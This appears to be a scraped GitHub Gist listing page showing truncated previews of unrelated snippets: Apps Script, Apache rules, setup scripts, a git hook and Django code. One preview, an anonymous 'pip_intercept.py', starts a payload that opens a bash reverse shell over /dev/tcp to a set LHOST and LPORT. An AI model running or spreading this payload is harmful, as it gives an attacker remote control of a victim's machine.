Skip to content

Instantly share code, notes, and snippets.

View pielgrzym's full-sized avatar
☂️

Q pielgrzym

☂️
View GitHub Profile
@leodevbro
leodevbro / gmail-stats.gs
Last active April 25, 2024 05:21
In Gmail inbox, Find sender with most mail threads
// Original script: https://gist.github.com/leodevbro/2987e8874a18b2086ea6cc1aa3c494e8
// v2.5
// Google Apps Script is a coding language based on JavaScript.
// This Apps Script code helps us to sort addresses by most threads.
// A thread is a group of messages, as a conversation.
const modes = {
inbox: "inbox", // to analyze threads in the "Inbox" folder
outbox: "outbox", // to analyze threads in the "Sent" folder
@curi0usJack
curi0usJack / .htaccess
Last active March 13, 2024 10:17
FYI THIS IS NO LONGER AN .HTACCESS FILE. SEE COMMENTS BELOW. DON'T WORRY, IT'S STILL EASY.
#
# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
#
# Note this version requires Apache 2.4+
#
# Save this file into something like /etc/apache2/redirect.rules.
# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
#
# Include /etc/apache2/redirect.rules
#
@Lewiscowles1986
Lewiscowles1986 / rPi3-ap-setup.sh
Last active July 16, 2023 15:33
Raspberry Pi 3 access-point-setup
#!/bin/bash
#
# This version uses September 2017 august stretch image, please use this image
#
if [ "$EUID" -ne 0 ]
then echo "Must be root"
exit
fi
@lelandbatey
lelandbatey / whiteboardCleaner.md
Last active April 25, 2024 02:01
Whiteboard Picture Cleaner - Shell one-liner/script to clean up and beautify photos of whiteboards!

Description

This simple script will take a picture of a whiteboard and use parts of the ImageMagick library with sane defaults to clean it up tremendously.

The script is here:

#!/bin/bash
convert "$1" -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 "$2"

Results

anonymous
anonymous / pip_intercept.py
Created February 2, 2013 17:50
# -*- coding: utf-8 -*-
#
import tempfile
import sys, os
import re
LHOST, LPORT = ('127.0.0.1', '4444')
PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s;
@shimizukawa
shimizukawa / ext_ctags.py
Created November 30, 2012 03:38
ctags file generator for sphinx
# -*- coding: utf-8 -*-
import os
def doctree_resolved(app, doctree, docname):
filename = os.path.join(app.confdir, app.config.ctags_filename)
# load existent ctag
ctags = load_ctag(filename)
@brandonb927
brandonb927 / osx-for-hackers.sh
Last active May 5, 2024 13:30
OSX for Hackers: Yosemite/El Capitan Edition. This script tries not to be *too* opinionated and any major changes to your system require a prompt. You've been warned.
#!/bin/sh
###
# SOME COMMANDS WILL NOT WORK ON macOS (Sierra or newer)
# For Sierra or newer, see https://github.com/mathiasbynens/dotfiles/blob/master/.macos
###
# Alot of these configs have been taken from the various places
# on the web, most from here
# https://github.com/mathiasbynens/dotfiles/blob/5b3c8418ed42d93af2e647dc9d122f25cc034871/.osx
@geekforbrains
geekforbrains / post-receive
Created May 18, 2012 19:11
Git post-receive rsync to remote server
#!/bin/bash
REPO=NAME_HERE
# Dir paths on remote server
# These are associated with branches within a git project
LIVE_BRANCH="master"
LIVE="git@host:/var/www/live/"
STAGE_BRANCH="develop"
STAGE="git@host:/var/www/stage/"
@claudijd
claudijd / gist:2625441
Created May 7, 2012 02:05
Suggestions for Metasploit Dev Setup Environment Wiki
##Current Wiki Content
$ curl -L get.rvm.io | bash -s stable
$ source ~/.rvm/scripts/rvm
$ rvm install 1.9.3-p125
##Suggestions for Wiki Content
#Set default manually
# list_detail.object_list replacement with all the things I need
def object_list(request, queryset, extra_context=None,
template_name='', paginate_by=None):
class ObjectList(ListView):
def post(self, request, *args, **kwargs):
return self.get(request, *args, **kwargs)
def get_context_data(self, **kwargs):
c = super(ObjectList, self).get_context_data(**kwargs)